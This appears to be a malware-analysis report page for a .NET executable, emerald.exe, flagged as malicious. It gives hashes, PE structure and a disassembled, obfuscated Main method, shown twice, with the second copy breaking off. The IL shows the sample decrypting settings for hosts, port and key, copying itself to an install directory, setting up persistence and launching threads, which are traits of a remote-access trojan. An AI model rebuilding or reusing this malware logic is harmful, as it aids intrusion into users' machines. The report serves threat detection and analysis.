Malicious
Malicious

1cf8cce965f8f2089ce67ef811b29d13

Share on LinkedIn
Print
PE Executable
MD5: 1cf8cce965f8f2089ce67ef811b29d13
Size: 96.26 KB
application/x-dosexec
Ctrl + scroll to zoom · drag to pan

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential
Symbol Obfuscation Score Medium
MD5 1cf8cce965f8f2089ce67ef811b29d13
Sha1 ca868ac1e4f42282fb74865fc2f9edf38b052e4b
Sha256 d7fea5f6217db6e04f75333a65a46cdfcc523c7f3ddc29cfaecb18cd8876ea98
Sha384 ba0381474471dd1d8b4dc96eef3fab3f7689c272b675a90252deef082b96f5bba7794d41a73dd6b0f976cf6725d86616
Sha512 abae2904798b6defe326991bb680575a259bbb70b40378da973139e28aff35a77674da9ca58015c30e275ae53fdb0b552bace13d073e62392b3343e161fdbd05
SSDeep 1536:1jxl8EVWM96wd2ZeFEVrQuf6YIqwm3K7PLiFJ7pJhROtYpBtphTIlj6EQrw3zbdx:r0and2kE/f6YIqwEAT47pXRmEBtp50jH
TLSH 8A936B8EF7A05959C5AC0AB7CA63514845EAE0E7F167F7FF28C85DE05C2248C868FD90
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET
1cf8cce965f8f2089ce67ef811b29d13
Malicious
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
STICH beta Structural Threat Infection Chain Hash

A content-independent fingerprint of the infection method: successive formats, internal objects and MITRE techniques from the initial file to each final payload.

STICH Path = the fingerprint (canonical chain with techniques) STICH Shape = structure only Only determinant branches produce STICH Paths.
Path pe:exe>pe:rsrc>bin
Shape pe:exe>pe:rsrc>bin
malicious 3 nodes
Config. Field Value
family xhuhuhuhu
We extracted this malware's full configuration (C2, credentials, campaign IDs…).
Unlock with Essential
Name Value
Module Name
emerald.exe
Full Name
emerald.exe
EntryPoint
System.Void Stub.Main::Main()
Scope Name
emerald.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
emerald
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
0
Main Method
System.Void Stub.Main::Main()
Main IL Instruction Count
435
Main IL 
ldsfld System.Char[] Stub.Uninstaller::Ⴀ
stloc.s V_20
ldsfld System.Int32 Settings::Sleep
ldc.i4 1000
mul.ovf <null>
ldc.i4 147
ldc.i4 255
call System.Void My.MyComputer/Ⴗ::Ⴓ(System.Int32,System.Char,System.Char)
ldc.i4.0 <null>
stloc.s V_15
ldloc.s V_15
switch dnlib.DotNet.Emit.Instruction[]
ldsfld System.String Settings::Hosts
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4.3 <null>
ldc.i4.s 29
call System.String My.MyApplication::Ⴍ<System.Object>(System.Object,System.Int16,System.Int32)
stsfld System.String Settings::Hosts
ldsfld System.String Settings::Port
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 492
ldc.i4 498
call System.String My.MyApplication::Ⴍ<System.Object>(System.Object,System.Int16,System.Int32)
stsfld System.String Settings::Port
ldc.i4.2 <null>
stloc.s V_15
br.s IL_0024: ldloc.s V_15
ldsfld System.String Settings::KEY
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 352
ldc.i4 382
call System.String My.MyApplication::Ⴍ<System.Object>(System.Object,System.Int16,System.Int32)
stsfld System.String Settings::KEY
ldsfld System.String Settings::SPL
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 800
ldc.i4 830
call System.String My.MyApplication::Ⴍ<System.Object>(System.Object,System.Int16,System.Int32)
stsfld System.String Settings::SPL
ldc.i4.3 <null>
stloc.s V_15
br IL_0024: ldloc.s V_15
ldsfld System.String Settings::Groub
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 291
ldc.i4 317
call System.String My.MyApplication::Ⴍ<System.Object>(System.Object,System.Int16,System.Int32)
stsfld System.String Settings::Groub
ldsfld System.String Settings::USBNM
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 941
ldc.i4 947
call System.String My.MyApplication::Ⴍ<System.Object>(System.Object,System.Int16,System.Int32)
stsfld System.String Settings::USBNM
ldc.i4.7 <null>
stloc.s V_15
br IL_0024: ldloc.s V_15
ldsfld System.String Settings::InstallDir
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 686
ldc.i4 688
call System.String My.MyApplication::Ⴍ<System.Object>(System.Object,System.Int16,System.Int32)
ldc.i4 923
ldc.i4 969
call System.String Stub.Main::Ⴗ<System.String>(System.String,System.Int32,System.Int16)
stsfld System.String Settings::InstallDir
ldc.i4.4 <null>
stloc.s V_15
br IL_0024: ldloc.s V_15
ldsfld System.String Settings::InstallStr
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 967
ldc.i4 985
call System.String My.MyApplication::Ⴍ<System.Object>(System.Object,System.Int16,System.Int32)
stsfld System.String Settings::InstallStr
leave.s IL_0198: ldc.i4.4
dup <null>
ldc.i4 379
ldc.i4 310
call System.Void My.MyComputer/Ⴗ::Ⴈ<System.Exception>(System.Exception,System.Int32,System.Int32)
stloc.3 <null>
ldc.i4.0 <null>
ldc.i4 448
ldc.i4 429
call System.Void My.MyComputer/Ⴗ::Ⴓ(System.Int32,System.Char,System.Char)
ldc.i4 685
ldc.i4 669
call System.Void Stub.Main::Ⴈ(System.Char,System.Int32)
leave.s IL_0198: ldc.i4.4
ldc.i4.4 <null>
stloc.s V_17
ldloc.s V_17
switch dnlib.DotNet.Emit.Instruction[]
call System.Boolean Ⴗ.Ⴃ::Ⴗ()
brtrue.s IL_01CA: ldc.i4.6
ldc.i4.1 <null>
stloc.s V_17
br.s IL_019B: ldloc.s V_17
ldc.i4.6 <null>
br.s IL_01C6: stloc.s V_17
ldc.i4.0 <null>
ldc.i4 307
ldc.i4 350
call System.Void My.MyComputer/Ⴗ::Ⴓ(System.Int32,System.Char,System.Char)
ldsfld System.String Settings::InstallDir
ldc.i4 1647182540
ldc.i4.0 <null>
ldnull <null>
ldc.i4.s 9
call System.String My.MyApplication::Ⴀ(System.Int32,System.Int32,System.Reflection.Assembly,System.Int32)
ldsfld System.String Settings::InstallStr
ldc.i4 997
ldc.i4 912
call System.String Stub.AlgorithmAES::Ⴐ<System.String,System.String,System.String>(System.String,System.String,System.String,System.Int16,System.Int16)
stloc.0 <null>
ldc.i4.4 <null>
stloc.s V_19
ldloc.s V_19
switch dnlib.DotNet.Emit.Instruction[]
ldloc.0 <null>
castclass System.String
newobj System.Void System.IO.FileInfo::.ctor(System.String)
ldc.i4 837
ldc.i4 881
call System.IO.DirectoryInfo Stub.AlgorithmAES::Ⴍ<System.IO.FileInfo>(System.IO.FileInfo,System.Char,System.Int16)
ldc.i4 740
ldc.i4 657
call System.String My.MyApplication::ႰႤ<System.IO.DirectoryInfo>(System.IO.DirectoryInfo,System.Int32,System.Int16)
stloc.s V_4
ldc.i4.1 <null>
stloc.s V_19
br.s IL_0208: ldloc.s V_19
ldloc.s V_4
ldc.i4 1011
ldc.i4 1005
call System.String My.MyApplication::Ⴍ<System.Object>(System.Object,System.Int16,System.Int32)
ldc.i4 573
ldc.i4 554
call System.Boolean My.MyComputer/Ⴗ::ႳႰ<System.String>(System.String,System.Char,System.Int16)
brtrue.s IL_029E: ldc.i4.0
ldloc.s V_20
ldc.i4 173
ldelem.u2 <null>
ldc.i4 64974
sub <null>
stloc.s V_19
br IL_0208: ldloc.s V_19
ldc.i4.0 <null>
br.s IL_0297: stloc.s V_19
ldloc.s V_4
ldc.i4 373
ldc.i4 363
call System.String My.MyApplication::Ⴍ<System.Object>(System.Object,System.Int16,System.Int32)
ldc.i4 856
ldc.i4 873
call System.IO.DirectoryInfo Stub.AlgorithmAES::ႠႠ<System.String>(System.String,System.Int16,System.Int32)
pop <null>
ldc.i4.0 <null>
stloc.s V_19
br IL_0208: ldloc.s V_19
ldloc.0 <null>
isinst System.String
ldc.i4 375
ldc.i4 353
call System.Boolean My.MyComputer/Ⴗ::ႳႰ<System.String>(System.String,System.Char,System.Int16)
brfalse.s IL_02E9: ldc.i4.3
ldc.i4.7 <null>
stloc.s V_19
br IL_0208: ldloc.s V_19
ldc.i4.3 <null>
br.s IL_02E2: stloc.s V_19
ldloc.0 <null>
castclass System.String
newobj System.Void System.IO.FileInfo::.ctor(System.String)
stloc.s V_5
ldloc.s V_5
castclass System.IO.FileInfo
ldc.i4 972
ldc.i4 956
call System.Void Stub.AlgorithmAES::ႠႷ<System.IO.FileInfo>(System.IO.FileInfo,System.Int32,System.Char)
ldc.i4 1000
ldc.i4 513
ldc.i4 621
call System.Void My.MyComputer/Ⴗ::Ⴓ(System.Int32,System.Char,System.Char)
ldloc.0 <null>
castclass System.String
ldsfld System.String Ⴗ.Ⴃ::Ⴍ
ldc.i4 851
ldc.i4 769
call System.Byte[] Stub.AlgorithmAES::ႠႳ<System.String>(System.String,System.Char,System.Int32)
ldc.i4.s 106
ldc.i4.s 105
call System.Void My.MyComputer::Ⴈ<System.String>(System.String,System.Byte[],System.Int32,System.Int32)
leave.s IL_0365: ldc.i4.3
dup <null>
ldc.i4.s 65
ldc.i4.s 12
call System.Void My.MyComputer/Ⴗ::Ⴈ<System.Exception>(System.Exception,System.Int32,System.Int32)
stloc.s V_6
ldc.i4 186
ldc.i4 138
call System.Void Stub.Main::Ⴈ(System.Char,System.Int32)
leave.s IL_0365: ldc.i4.3
ldc.i4.3 <null>
stloc.s V_22
ldloc.s V_22
switch dnlib.DotNet.Emit.Instruction[]
ldc.i4.7 <null>
ldc.i4.s 31
ldc.i4.s 65
call System.String Stub.Main::ႥႳ(System.Environment/SpecialFolder,System.Int16,System.Int32)
ldc.i4 1647182538
ldc.i4.6 <null>
ldnull <null>
ldc.i4.4 <null>
call System.String My.MyApplication::Ⴀ(System.Int32,System.Int32,System.Reflection.Assembly,System.Int32)
ldsfld System.String Settings::InstallStr
ldc.i4 254
ldc.i4 173
call System.String Stub.Main::Ⴗ<System.String>(System.String,System.Int32,System.Int16)
ldc.i4 1647181943
ldc.i4.0 <null>
ldnull <null>
ldc.i4.s 11
call System.String My.MyApplication::Ⴀ(System.Int32,System.Int32,System.Reflection.Assembly,System.Int32)
ldc.i4.s 21
ldc.i4.s 108
call System.String Stub.Main::ႥႥ<System.String,System.String,System.String,System.String>(System.String,System.String,System.String,System.String,System.Int32,System.Int16)
stloc.s V_7
ldc.i4.7 <null>
stloc.s V_22
br.s IL_0368: ldloc.s V_22
ldc.i4 1647181947
ldc.i4.3 <null>
ldnull <null>
ldc.i4.s 13
call System.String My.MyApplication::Ⴀ(System.Int32,System.Int32,System.Reflection.Assembly,System.Int32)
ldc.i4 1647181897
ldc.i4.1 <null>
ldnull <null>
ldc.i4.s 15
call System.String My.MyApplication::Ⴀ(System.Int32,System.Int32,System.Reflection.Assembly,System.Int32)
ldc.i4 129
ldc.i4 245
call System.Object Stub.AlgorithmAES::ႠႭ<System.String,System.String>(System.String,System.String,System.Int16,System.Char)
ldnull <null>
ldc.i4 1647181901
ldc.i4.0 <null>
ldnull <null>
ldc.i4.1 <null>
call System.String My.MyApplication::Ⴀ(System.Int32,System.Int32,System.Reflection.Assembly,System.Int32)
ldc.i4.1 <null>
newarr System.Object
stloc.s V_9
ldloc.s V_9
isinst System.Object[]
ldc.i4.0 <null>
ldloc.s V_7
isinst System.String
stelem.ref <null>
ldloc.s V_9
castclass System.Object[]
stloc.s V_10
ldloc.s V_10
isinst System.Object[]
ldnull <null>
ldnull <null>
ldc.i4.1 <null>
newarr System.Boolean
stloc.s V_11
ldloc.s V_11
castclass System.Boolean[]
ldc.i4.0 <null>
ldc.i4.1 <null>
stelem.i1 <null>
ldloc.s V_11
isinst System.Boolean[]
ldc.i4 920
ldc.i4 914
call System.Object Stub.AlgorithmAES::ႠႤ<System.Type,System.Object,System.String>(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Char,System.Char)
ldloc.s V_11
isinst System.Boolean[]
ldc.i4.0 <null>
ldelem.i1 <null>
brfalse.s IL_04A0: stloc.s V_12
ldloc.s V_10
castclass System.Object[]
ldc.i4.0 <null>
ldelem.ref <null>
ldc.i4 543
ldc.i4 531
call System.Object My.MyComputer/Ⴗ::Ⴄ<System.Object>(System.Object,System.Char,System.Int16)
ldtoken System.String
call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle)
call System.Object Microsoft.VisualBasic.CompilerServices.Conversions::ChangeType(System.Object,System.Type)
castclass System.String
stloc.s V_7
stloc.s V_12
ldloc.s V_12
ldnull <null>
ldc.i4 1647181914
ldc.i4.6 <null>
ldnull <null>
ldc.i4.s 13
call System.String My.MyApplication::Ⴀ(System.Int32,System.Int32,System.Reflection.Assembly,System.Int32)
ldc.i4.1 <null>
newarr System.Object
stloc.s V_13
ldloc.s V_13
isinst System.Object[]
ldc.i4.0 <null>
ldloc.0 <null>
isinst System.String
stelem.ref <null>
ldloc.s V_13
castclass System.Object[]
ldnull <null>
ldnull <null>
ldc.i4.0 <null>
ldc.i4.1 <null>
call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean)
ldc.i4.5 <null>
stloc.s V_22
br IL_0368: ldloc.s V_22
ldloc.s V_12
ldnull <null>
ldc.i4 1647181869
ldc.i4.2 <null>
ldnull <null>
ldc.i4.8 <null>
call System.String My.MyApplication::Ⴀ(System.Int32,System.Int32,System.Reflection.Assembly,System.Int32)
ldc.i4.1 <null>
newarr System.Object
stloc.s V_13
ldloc.s V_13
castclass System.Object[]
ldc.i4.0 <null>
ldc.i4 1647181897
ldc.i4.1 <null>
ldnull <null>
ldc.i4.8 <null>
call System.String My.MyApplication::Ⴀ(System.Int32,System.Int32,System.Reflection.Assembly,System.Int32)
stelem.ref <null>
ldloc.s V_13
isinst System.Object[]
ldnull <null>
ldnull <null>
ldc.i4.0 <null>
ldc.i4.1 <null>
call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean)
ldc.i4.6 <null>
stloc.s V_22
br IL_0368: ldloc.s V_22
ldloc.s V_12
ldnull <null>
ldc.i4 1647181887
ldc.i4.3 <null>
ldnull <null>
ldc.i4.3 <null>
call System.String My.MyApplication::Ⴀ(System.Int32,System.Int32,System.Reflection.Assembly,System.Int32)
ldc.i4.0 <null>
newarr System.Object
ldnull <null>
ldnull <null>
ldnull <null>
ldc.i4.1 <null>
call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean)
pop <null>
ldc.i4.4 <null>
stloc.s V_22
br IL_0368: ldloc.s V_22
ldnull <null>
stloc.s V_12
ldloc.s V_7
isinst System.String
ldc.i4.3 <null>
newobj System.Void System.IO.FileStream::.ctor(System.String,System.IO.FileMode)
stsfld System.IO.FileStream Ⴗ.Ⴃ::Ⴀ
leave.s IL_0576: ldc.i4.1
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_8
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_0576: ldc.i4.1
ldc.i4.1 <null>
stloc.s V_24
ldloc.s V_24
switch dnlib.DotNet.Emit.Instruction[]
call System.Void Ⴗ.Ⴃ::Ⴅ()
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__1()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
callvirt System.Void System.Threading.Thread::Start()
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__2()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.1 <null>
ldc.i4.6 <null>
stloc.s V_24
br.s IL_0579: ldloc.s V_24
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__3()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.2 <null>
ldloc.1 <null>
isinst System.Threading.Thread
callvirt System.Void System.Threading.Thread::Start()
ldloc.2 <null>
isinst System.Threading.Thread
callvirt System.Void System.Threading.Thread::Start()
ldc.i4.5 <null>
stloc.s V_24
br IL_0579: ldloc.s V_24
ldloc.2 <null>
castclass System.Threading.Thread
callvirt System.Void System.Threading.Thread::Join()
ret <null>
ldtoken System.Void Stub.Main::Main()
pop <null>
ldsfld System.Char[] Stub.Messages::Ⴈ
ldc.i4 390
ldsfld System.Char[] Stub.Messages::Ⴈ
ldc.i4 390
ldelem.u2 <null>
ldsfld System.Char[] Stub.Messages::Ⴈ
ldc.i4 264
ldelem.u2 <null>
sub <null>
ldc.i4.s 112
and <null>
stelem.i2 <null>
ret <null>
Info
PE Detect: PeReader OK (file layout)
Module Name
emerald.exe
Full Name
emerald.exe
EntryPoint
System.Void Stub.Main::Main()
Scope Name
emerald.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
emerald
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
0
Main Method
System.Void Stub.Main::Main()
Main IL Instruction Count
435
Main IL 
ldsfld System.Char[] Stub.Uninstaller::Ⴀ
stloc.s V_20
ldsfld System.Int32 Settings::Sleep
ldc.i4 1000
mul.ovf <null>
ldc.i4 147
ldc.i4 255
call System.Void My.MyComputer/Ⴗ::Ⴓ(System.Int32,System.Char,System.Char)
ldc.i4.0 <null>
stloc.s V_15
ldloc.s V_15
switch dnlib.DotNet.Emit.Instruction[]
ldsfld System.String Settings::Hosts
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4.3 <null>
ldc.i4.s 29
call System.String My.MyApplication::Ⴍ<System.Object>(System.Object,System.Int16,System.Int32)
stsfld System.String Settings::Hosts
ldsfld System.String Settings::Port
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 492
ldc.i4 498
call System.String My.MyApplication::Ⴍ<System.Object>(System.Object,System.Int16,System.Int32)
stsfld System.String Settings::Port
ldc.i4.2 <null>
stloc.s V_15
br.s IL_0024: ldloc.s V_15
ldsfld System.String Settings::KEY
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 352
ldc.i4 382
call System.String My.MyApplication::Ⴍ<System.Object>(System.Object,System.Int16,System.Int32)
stsfld System.String Settings::KEY
ldsfld System.String Settings::SPL
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 800
ldc.i4 830
call System.String My.MyApplication::Ⴍ<System.Object>(System.Object,System.Int16,System.Int32)
stsfld System.String Settings::SPL
ldc.i4.3 <null>
stloc.s V_15
br IL_0024: ldloc.s V_15
ldsfld System.String Settings::Groub
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 291
ldc.i4 317
call System.String My.MyApplication::Ⴍ<System.Object>(System.Object,System.Int16,System.Int32)
stsfld System.String Settings::Groub
ldsfld System.String Settings::USBNM
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 941
ldc.i4 947
call System.String My.MyApplication::Ⴍ<System.Object>(System.Object,System.Int16,System.Int32)
stsfld System.String Settings::USBNM
ldc.i4.7 <null>
stloc.s V_15
br IL_0024: ldloc.s V_15
ldsfld System.String Settings::InstallDir
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 686
ldc.i4 688
call System.String My.MyApplication::Ⴍ<System.Object>(System.Object,System.Int16,System.Int32)
ldc.i4 923
ldc.i4 969
call System.String Stub.Main::Ⴗ<System.String>(System.String,System.Int32,System.Int16)
stsfld System.String Settings::InstallDir
ldc.i4.4 <null>
stloc.s V_15
br IL_0024: ldloc.s V_15
ldsfld System.String Settings::InstallStr
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 967
ldc.i4 985
call System.String My.MyApplication::Ⴍ<System.Object>(System.Object,System.Int16,System.Int32)
stsfld System.String Settings::InstallStr
leave.s IL_0198: ldc.i4.4
dup <null>
ldc.i4 379
ldc.i4 310
call System.Void My.MyComputer/Ⴗ::Ⴈ<System.Exception>(System.Exception,System.Int32,System.Int32)
stloc.3 <null>
ldc.i4.0 <null>
ldc.i4 448
ldc.i4 429
call System.Void My.MyComputer/Ⴗ::Ⴓ(System.Int32,System.Char,System.Char)
ldc.i4 685
ldc.i4 669
call System.Void Stub.Main::Ⴈ(System.Char,System.Int32)
leave.s IL_0198: ldc.i4.4
ldc.i4.4 <null>
stloc.s V_17
ldloc.s V_17
switch dnlib.DotNet.Emit.Instruction[]
call System.Boolean Ⴗ.Ⴃ::Ⴗ()
brtrue.s IL_01CA: ldc.i4.6
ldc.i4.1 <null>
stloc.s V_17
br.s IL_019B: ldloc.s V_17
ldc.i4.6 <null>
br.s IL_01C6: stloc.s V_17
ldc.i4.0 <null>
ldc.i4 307
ldc.i4 350
call System.Void My.MyComputer/Ⴗ::Ⴓ(System.Int32,System.Char,System.Char)
ldsfld System.String Settings::InstallDir
ldc.i4 1647182540
ldc.i4.0 <null>
ldnull <null>
ldc.i4.s 9
call System.String My.MyApplication::Ⴀ(System.Int32,System.Int32,System.Reflection.Assembly,System.Int32)
ldsfld System.String Settings::InstallStr
ldc.i4 997
ldc.i4 912
call System.String Stub.AlgorithmAES::Ⴐ<System.String,System.String,System.String>(System.String,System.String,System.String,System.Int16,System.Int16)
stloc.0 <null>
ldc.i4.4 <null>
stloc.s V_19
ldloc.s V_19
switch dnlib.DotNet.Emit.Instruction[]
ldloc.0 <null>
castclass System.String
newobj System.Void System.IO.FileInfo::.ctor(System.String)
ldc.i4 837
ldc.i4 881
call System.IO.DirectoryInfo Stub.AlgorithmAES::Ⴍ<System.IO.FileInfo>(System.IO.FileInfo,System.Char,System.Int16)
ldc.i4 740
ldc.i4 657
call System.String My.MyApplication::ႰႤ<System.IO.DirectoryInfo>(System.IO.DirectoryInfo,System.Int32,System.Int16)
stloc.s V_4
ldc.i4.1 <null>
stloc.s V_19
br.s IL_0208: ldloc.s V_19
ldloc.s V_4
ldc.i4 1011
ldc.i4 1005
call System.String My.MyApplication::Ⴍ<System.Object>(System.Object,System.Int16,System.Int32)
ldc.i4 573
ldc.i4 554
call System.Boolean My.MyComputer/Ⴗ::ႳႰ<System.String>(System.String,System.Char,System.Int16)
brtrue.s IL_029E: ldc.i4.0
ldloc.s V_20
ldc.i4 173
ldelem.u2 <null>
ldc.i4 64974
sub <null>
stloc.s V_19
br IL_0208: ldloc.s V_19
ldc.i4.0 <null>
br.s IL_0297: stloc.s V_19
ldloc.s V_4
ldc.i4 373
ldc.i4 363
call System.String My.MyApplication::Ⴍ<System.Object>(System.Object,System.Int16,System.Int32)
ldc.i4 856
ldc.i4 873
call System.IO.DirectoryInfo Stub.AlgorithmAES::ႠႠ<System.String>(System.String,System.Int16,System.Int32)
pop <null>
ldc.i4.0 <null>
stloc.s V_19
br IL_0208: ldloc.s V_19
ldloc.0 <null>
isinst System.String
ldc.i4 375
ldc.i4 353
call System.Boolean My.MyComputer/Ⴗ::ႳႰ<System.String>(System.String,System.Char,System.Int16)
brfalse.s IL_02E9: ldc.i4.3
ldc.i4.7 <null>
stloc.s V_19
br IL_0208: ldloc.s V_19
ldc.i4.3 <null>
br.s IL_02E2: stloc.s V_19
ldloc.0 <null>
castclass System.String
newobj System.Void System.IO.FileInfo::.ctor(System.String)
stloc.s V_5
ldloc.s V_5
castclass System.IO.FileInfo
ldc.i4 972
ldc.i4 956
call System.Void Stub.AlgorithmAES::ႠႷ<System.IO.FileInfo>(System.IO.FileInfo,System.Int32,System.Char)
ldc.i4 1000
ldc.i4 513
ldc.i4 621
call System.Void My.MyComputer/Ⴗ::Ⴓ(System.Int32,System.Char,System.Char)
ldloc.0 <null>
castclass System.String
ldsfld System.String Ⴗ.Ⴃ::Ⴍ
ldc.i4 851
ldc.i4 769
call System.Byte[] Stub.AlgorithmAES::ႠႳ<System.String>(System.String,System.Char,System.Int32)
ldc.i4.s 106
ldc.i4.s 105
call System.Void My.MyComputer::Ⴈ<System.String>(System.String,System.Byte[],System.Int32,System.Int32)
leave.s IL_0365: ldc.i4.3
dup <null>
ldc.i4.s 65
ldc.i4.s 12
call System.Void My.MyComputer/Ⴗ::Ⴈ<System.Exception>(System.Exception,System.Int32,System.Int32)
stloc.s V_6
ldc.i4 186
ldc.i4 138
call System.Void Stub.Main::Ⴈ(System.Char,System.Int32)
leave.s IL_0365: ldc.i4.3
ldc.i4.3 <null>
stloc.s V_22
ldloc.s V_22
switch dnlib.DotNet.Emit.Instruction[]
ldc.i4.7 <null>
ldc.i4.s 31
ldc.i4.s 65
call System.String Stub.Main::ႥႳ(System.Environment/SpecialFolder,System.Int16,System.Int32)
ldc.i4 1647182538
ldc.i4.6 <null>
ldnull <null>
ldc.i4.4 <null>
call System.String My.MyApplication::Ⴀ(System.Int32,System.Int32,System.Reflection.Assembly,System.Int32)
ldsfld System.String Settings::InstallStr
ldc.i4 254
ldc.i4 173
call System.String Stub.Main::Ⴗ<System.String>(System.String,System.Int32,System.Int16)
ldc.i4 1647181943
ldc.i4.0 <null>
ldnull <null>
ldc.i4.s 11
call System.String My.MyApplication::Ⴀ(System.Int32,System.Int32,System.Reflection.Assembly,System.Int32)
ldc.i4.s 21
ldc.i4.s 108
call System.String Stub.Main::ႥႥ<System.String,System.String,System.String,System.String>(System.String,System.String,System.String,System.String,System.Int32,System.Int16)
stloc.s V_7
ldc.i4.7 <null>
stloc.s V_22
br.s IL_0368: ldloc.s V_22
ldc.i4 1647181947
ldc.i4.3 <null>
ldnull <null>
ldc.i4.s 13
call System.String My.MyApplication::Ⴀ(System.Int32,System.Int32,System.Reflection.Assembly,System.Int32)
ldc.i4 1647181897
ldc.i4.1 <null>
ldnull <null>
ldc.i4.s 15
call System.String My.MyApplication::Ⴀ(System.Int32,System.Int32,System.Reflection.Assembly,System.Int32)
ldc.i4 129
ldc.i4 245
call System.Object Stub.AlgorithmAES::ႠႭ<System.String,System.String>(System.String,System.String,System.Int16,System.Char)
ldnull <null>
ldc.i4 1647181901
ldc.i4.0 <null>
ldnull <null>
ldc.i4.1 <null>
call System.String My.MyApplication::Ⴀ(System.Int32,System.Int32,System.Reflection.Assembly,System.Int32)
ldc.i4.1 <null>
newarr System.Object
stloc.s V_9
ldloc.s V_9
isinst System.Object[]
ldc.i4.0 <null>
ldloc.s V_7
isinst System.String
stelem.ref <null>
ldloc.s V_9
castclass System.Object[]
stloc.s V_10
ldloc.s V_10
isinst System.Object[]
ldnull <null>
ldnull <null>
ldc.i4.1 <null>
newarr System.Boolean
stloc.s V_11
ldloc.s V_11
castclass System.Boolean[]
ldc.i4.0 <null>
ldc.i4.1 <null>
stelem.i1 <null>
ldloc.s V_11
isinst System.Boolean[]
ldc.i4 920
ldc.i4 914
call System.Object Stub.AlgorithmAES::ႠႤ<System.Type,System.Object,System.String>(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Char,System.Char)
ldloc.s V_11
isinst System.Boolean[]
ldc.i4.0 <null>
ldelem.i1 <null>
brfalse.s IL_04A0: stloc.s V_12
ldloc.s V_10
castclass System.Object[]
ldc.i4.0 <null>
ldelem.ref <null>
ldc.i4 543
ldc.i4 531
call System.Object My.MyComputer/Ⴗ::Ⴄ<System.Object>(System.Object,System.Char,System.Int16)
ldtoken System.String
call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle)
call System.Object Microsoft.VisualBasic.CompilerServices.Conversions::ChangeType(System.Object,System.Type)
castclass System.String
stloc.s V_7
stloc.s V_12
ldloc.s V_12
ldnull <null>
ldc.i4 1647181914
ldc.i4.6 <null>
ldnull <null>
ldc.i4.s 13
call System.String My.MyApplication::Ⴀ(System.Int32,System.Int32,System.Reflection.Assembly,System.Int32)
ldc.i4.1 <null>
newarr System.Object
stloc.s V_13
ldloc.s V_13
isinst System.Object[]
ldc.i4.0 <null>
ldloc.0 <null>
isinst System.String
stelem.ref <null>
ldloc.s V_13
castclass System.Object[]
ldnull <null>
ldnull <null>
ldc.i4.0 <null>
ldc.i4.1 <null>
call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean)
ldc.i4.5 <null>
stloc.s V_22
br IL_0368: ldloc.s V_22
ldloc.s V_12
ldnull <null>
ldc.i4 1647181869
ldc.i4.2 <null>
ldnull <null>
ldc.i4.8 <null>
call System.String My.MyApplication::Ⴀ(System.Int32,System.Int32,System.Reflection.Assembly,System.Int32)
ldc.i4.1 <null>
newarr System.Object
stloc.s V_13
ldloc.s V_13
castclass System.Object[]
ldc.i4.0 <null>
ldc.i4 1647181897
ldc.i4.1 <null>
ldnull <null>
ldc.i4.8 <null>
call System.String My.MyApplication::Ⴀ(System.Int32,System.Int32,System.Reflection.Assembly,System.Int32)
stelem.ref <null>
ldloc.s V_13
isinst System.Object[]
ldnull <null>
